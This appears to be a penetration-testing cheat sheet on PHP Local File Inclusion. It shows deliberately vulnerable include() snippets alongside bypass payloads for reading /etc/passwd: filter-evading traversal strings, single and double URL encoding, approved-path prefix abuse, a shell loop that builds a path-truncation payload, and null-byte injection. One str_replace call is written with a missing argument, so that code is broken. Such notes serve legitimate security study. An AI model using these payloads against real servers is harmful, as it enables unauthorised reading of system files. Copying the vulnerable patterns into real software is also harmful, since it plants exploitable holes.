PRIMARY CATEGORY → LFI

Non-Recursive Path Traversal Filters

Code
<?php
...<SNIP>...
if (isset($_GET['language']))
{
	include_once(str_replace('../', $_GET['language']));	
} else
{
	die("No HTTP Parameters specified");
}
...<SNIP>...
Payload
?language=....//....//....//etc/passwd # ....//
?language=..././..././..././etc/passwd # ..././
?language=....\/....\/....\/etc/passwd # ....\/
?language=....////....////....////etc/passwd # ....////

Encoding

Single Encoding
%2e%2e%2f%2e%2e%2f%2e%2e%2f # ../../../
Double Encoding
%252e%252e%252f%252e%252e%252f%252e%252e%252f # ../../../

Approved Path

Code
<?php
...<SNIP>...
$lang = $_GET['language']
 
if (isset($lang) && preg_match('/^\.\/languages\/.+$/', $lang))
{
	include_once($lang);
} else
{
	die("No HTTP Parameters specified or Invalid Path");
}
...<SNIP>
Payload
?language=./languages/../../../etc/passwd

In this case, the ./languages directory is the approved path, and any value must have it as its preffix


Appended Extensions

Both techniques only work on PHP versions before 5.5

Path Truncation

In earlier versions of PHP, due to the limitations of 32-bit systems, any string had the maximum length of 4096 chars

Therefore, if a PHP code appends a .php string to the data received via GET, an operator could send a payload containing a certain amount of characters until the given string was truncated

Code
<?php
...<SNIP>...
if (isset($_GET['language']))
{
	include_once($_GET['language'] . '.php');
} else
{
	die("No HTTP Parameters specified");
}
...<SNIP>...
Payload Generation
echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done
Null Byte Injection
Code
<?php
...<SNIP>...
if (isset($_GET['language']))
{
	include_once($_GET['language'] . '.php');
} else
{
	die("No HTTP Parameters specified");
}
...<SNIP>...
Payload
?language=/etc/passwd%00